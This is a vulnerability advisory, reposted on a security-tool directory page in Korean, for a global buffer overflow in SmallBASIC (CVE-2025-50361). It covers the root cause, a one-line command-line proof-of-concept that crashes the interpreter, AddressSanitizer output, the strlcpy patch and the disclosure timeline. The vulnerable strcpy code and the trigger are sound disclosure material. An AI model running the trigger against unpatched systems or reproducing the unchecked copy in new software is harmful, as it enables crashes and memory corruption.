Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-50361 — 02364eff880ba62afac67bcceebafade2b40d21f 이전 SmallBASIC에서의 전역 버퍼 오버플로우 보고서 및 PoC | Kitploit
도구/GitHubGitHub/ch1keen/cve-2025-50361
Static AnalysisVulnerability AnalysisCode AnalysisExploitationLearning & EducationBinary Exploitation
GitHubch1keen/cve-2025-50361

CVE-2025-50361

02364eff880ba62afac67bcceebafade2b40d21f 이전 SmallBASIC에서의 전역 버퍼 오버플로우 보고서 및 PoC

저장소 보기
1년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

SmallBASIC의 전역 버퍼 오버플로

SmallBASIC은 일상적인 계산, 스크립트 및 프로토타입에 이상적인 빠르고 배우기 쉬운 BASIC 언어 인터프리터입니다. SmallBASIC에는 삼각 함수, 행렬 및 대수 함수, 내장 IDE, 강력한 문자열 라이브러리, 시스템, 사운드 및 그래픽 명령어와 구조화된 프로그래밍 구문이 포함되어 있습니다.

  • 영향을 받는 버전: 커밋 02364eff880ba62afac67bcceebafade2b40d21f 이전 (2025.06.06에 커밋됨).
  • 수정된 버전: 커밋 02364eff880ba62afac67bcceebafade2b40d21f. 커밋 보기

근본 원인

src/platform/sdl/main.cpp의 277행에서 strcpy가 호출되어 argv를 전역 변수 opt_command에 복사하며, 이 변수는 src/common/smbas.h에 정의되어 있습니다. 이 전역 변수는 같은 파일에 정의된 OPT_CMD_CZ 매크로에 따라 고정 크기 배열입니다.

root@kitploit:~
// src/common/smbas.h:105
EXTERN char opt_command[OPT_CMD_CZ] //

// src/platform/sdl/main.cpp:263
  while (1) {
    int option_index = 0;
    int c = getopt_long(argc, argv, "hvkc:f:r:x:n:m:e:d:p:", OPTIONS, &option_index);
    if (c == -1) {
      // no more options
      if (!option_index) {
        for (int i = 1; i < argc; i++) {
          const char *s = argv[i];
          int len = strlen(s);
          if (runFile == NULL
              && ((strcasecmp(s + len - 4, ".bas") == 0 && access(s, 0) == 0)
                  || (strstr(s, "://") != NULL))) {
            runFile = strdup(s);
          } else if (chdir(s) != 0) {
            strcpy(opt_command, s);  // VULNERABLE
          }
        }
      }
      break;
    }

src/common/smbas.h에 따르면 OPT_CMD_CZ는 1024로 정의되어 있습니다.

root@kitploit:~
#define OPT_CMD_CZ 1024

strlcpy 함수와 달리 strcpy는 복사할 바이트 수를 확인하지 않습니다. 따라서 opt_command 배열에 1024바이트 이상이 복사될 수 있습니다. 명령줄 인수가 1024바이트보다 길 수 있으므로 입력이 다른 객체를 덮어쓸 수 있습니다. 이로 인해 sbasicg 프로그램이 예상치 못한 동작을 할 수 있습니다.

참고로 Windows의 명령 프롬프트에서 사용할 수 있는 문자열의 최대 길이는 8191자입니다. Linux에서 길이는 ARG_MAX 및 MAX_ARG_STRINGS에 따라 다릅니다.

  • Windows: https://learn.microsoft.com/en-us/troubleshoot/windows-client/shell-experience/command-line-string-limitation#more-information
  • Linux: https://unix.stackexchange.com/questions/120642/what-defines-the-maximum-size-for-a-command-single-argument

트리거 (개념 증명)

SmallBASIC 프로젝트를 빌드한 후 다음을 실행합니다.

root@kitploit:~
$ src/platform/sdl/sbasicg $(python -c 'print("a"*1024)')

main 함수에 구현된 명령줄 인수를 파싱하는 동안 전역 버퍼 오버플로가 발생합니다. 아래는 Address Sanitizer의 출력입니다:

root@kitploit:~
=================================================================
==5322==ERROR: AddressSanitizer: global-buffer-overflow on address 0x0000016c22a0 at pc 0x0000004ba2e4 bp 0x7ffeb3ebac70 sp 0x7ffeb3eba428
WRITE of size 1025 at 0x0000016c22a0 thread T0
    #0 0x4ba2e3 in strcpy (/home/ch1keen/fuzz/SmallBASIC/src/platform/sdl/sbasicg+0x4ba2e3) (BuildId: 4a800899b4dac082870bb647e1d872811e8633ea)
    #1 0x8759c6 in main /home/ch1keen/fuzz/SmallBASIC/src/platform/sdl/main.cpp:277:13
    #2 0x79e3ca62a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #3 0x79e3ca62a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #4 0x4378b4 in _start (/home/ch1keen/fuzz/SmallBASIC/src/platform/sdl/sbasicg+0x4378b4) (BuildId: 4a800899b4dac082870bb647e1d872811e8633ea)

0x0000016c22a0 is located 0 bytes after global variable 'opt_command' defined in '/home/ch1keen/fuzz/SmallBASIC/src/common/smbas.h:105' (0x16c1ea0) of size 1024
SUMMARY: AddressSanitizer: global-buffer-overflow (/home/ch1keen/fuzz/SmallBASIC/src/platform/sdl/sbasicg+0x4ba2e3) (BuildId: 4a800899b4dac082870bb647e1d872811e8633ea) in strcpy
Shadow bytes around the buggy address:
  0x0000016c2000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0000016c2280: 00 00 00 00[f9]f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0000016c2300: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0000016c2380: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==5322==ABORTING

영향

취약점의 영향은 명확하지 않습니다. 그러나 전역 버퍼 오버플로가 다른 전역 변수를 덮어쓸 수 있으며, 이로 인해 프로그램의 플래그와 설정이 덮어써질 수 있습니다.

패치

취약점은 제가 보고한 문제를 포함하여 거의 모든 strcpy를 strlcpy로 교체하여 수정되었습니다.

root@kitploit:~
@@ -277,1 +277,1 @@ int main(int argc, char* argv[]) {
< strcpy(opt_command, command);
---
> strlcpy(opt_command, command, sizeof(opt_command));

자세한 패치는 커밋 보기를 참조하세요.

공개 타임라인

  • 2025.05.18: 취약점 보고서를 관리자([email protected])에게 전송.
  • 2025.05.18: MITRE에 보고.
  • 2025.06.06: 관리자가 패치를 릴리스.
  • 2025.07.09: 공개 공개.
  • 2025.08.13: MITRE가 CVE-2025-50361을 할당.
도구 다운로드